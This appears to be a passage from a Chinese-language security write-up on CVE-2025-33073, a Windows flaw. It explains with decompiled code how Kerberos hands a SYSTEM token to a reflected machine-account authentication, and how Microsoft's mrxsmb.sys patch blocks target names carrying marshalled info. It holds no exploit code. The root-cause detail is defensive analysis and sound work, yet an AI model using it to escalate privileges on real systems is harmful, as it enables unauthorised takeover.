函數 kerberos!KerbCreateSKeyEntry 會建立子機碼專案,其中包含目前使用者的 LUID、子機碼、其到期時間和目前使用者的權杖。
然後,子機碼專案會新增至 Kerberos!KerbSKeyList 全域清單:
NTSTATUS KerbCreateSKeyEntry(
LUID *Luid,
struct _KERB_ENCRYPTION_KEY *SubsessionKey,
struct _FILETIME *ExpirationTime,
void *TokenHandle)
{
[...]
SessionKeyEntry->Luid = *Luid;
SessionKeyEntry->TokenHandle = TokenHandle;
SessionKeyEntry->ExpirationTime = ExpirationTime;
[...]
RtlAcquireResourceExclusive(&KerbSKeyLock, 1u);
InsertHeadList(&KerbSKeyList, SessionKeyEntry);
RtlReleaseResource(&KerbSKeyLock);
}
- 當伺服器收到
AP-REQ後,它會呼叫AcceptSecurityContext,而這個呼叫會再被轉送到 kerberos!SpAcceptLsaModeContext。 - 該函式會對
AP-REQ進行多項檢查、解密,接著呼叫kerberos!KerbCreateTokenFromTicketEx,從取得的AP-REQ中建立一個 token。
有趣的部分在這裡:
如果用戶端名稱(從 ticket 中擷取)等於機器名稱(kerberos!KerbGlobalMachineServiceName),那麼系統就會呼叫 kerberos!KerbDoesSKeyExist,去檢查:
AP-REQ的 subkey 是否存在於全域清單kerberos!KerbSKeyList中,- 並確認其對應的登入 ID 是否屬於
NT AUTHORITY\SYSTEM。
NTSTATUS KerbCreateTokenFromTicketEx([…])
{
[...]
KerbConvertPrincipalNameToString(PrincipalName, EncryptedTicket->ClientName);
[...]
if (RtlEqualUnicodeString(PrincipalName, &KerbGlobalMachineServiceName, 1u) && KerbIsThisOurDomain(Domain))
{
IsSystem = FALSE;
KerbDoesSKeyExist(SubKey, &SubKeyExists, &Luid, &TokenHandle);
if (SubKeyExists)
{
if (Luid.LowPart == 0x3E7 && Luid.HighPart == 0)
{
IsSystem = TRUE;
}
}
[...]
}
[...]
KerbMakeTokenInformationV3([...], IsSystem, […]);
}
新的 token 資訊 會在 kerberos!KerbMakeTokenInformationV3 中產生。
如果 IsSystem = true,那麼:
- token 資訊中的 User 欄位 會被設為 SYSTEM,
- 並且在 groups 欄位中加入 本機系統管理員 (local admin) SID。
NTSTATUS KerbMakeTokenInformationV3([...], BOOL IsSystem, […])
{
[...]
if (IsSystem)
{
RtlInitializeSid(LocalAdminSid, &IdentifierAuthority, 2u);
*RtlSubAuthoritySid(LocalAdminSid, 0) = 32;
*RtlSubAuthoritySid(LocalAdminSid, 1u) = 544;
}
[...]
if (IsSystem)
{
TokenInfo->User.User.Sid = TokenSid;
RtlCopySid(0xCu, TokenSid, &SystemSid);
[...]
}
}
最後,系統會呼叫 lsasrv!LsapCreateTokenEx,並使用先前產生的 token 資訊來建立最終的 token。
在我們的案例中,建立出來的是一個 SYSTEM 權限的 token,而且這個 token 會被關聯到該用戶端。
修補程式分析
Microsoft 將 CVE-2025-33073 描述為 SMB 用戶端中的一個漏洞。
因此,為了理解修補方式,我們將 mrxsmb.sys 核心驅動程式與修補前的版本進行比對。
差異比對顯示只有少數幾個函式被修改,其中最值得注意的是 mrxsmb!SmbCeCreateSrvCall 這個函式會在嘗試透過 SMB 存取資源時被呼叫。
在這裡,程式碼中被新增了以下內容:
NTSTATUS SmbCeCreateSrvCall([...])
{
[...]
if ((unsigned int)CredUnmarshalTargetInfo(TargetName->Buffer, TargetName->Length, 0, 0) != STATUS_INVALID_PARAMETER ) {
return STATUS_INVALID_PARAMETER;
}
[...]
函式 ksecdd!CredUnmarshalTargetInfo 在以下情況下會失敗:
- 目標名稱不包含序列化的目標資訊
- 格式不正確。
因此,修補程式加入了這個呼叫,一旦偵測到使用帶有序列化資訊的目標名稱,就會阻止任何 SMB 連線。
換句話說,這個修補透過移除「利用帶有序列化資訊的 DNS 紀錄」來強制機器使用 Kerberos 驗證的能力,避免了漏洞被濫用。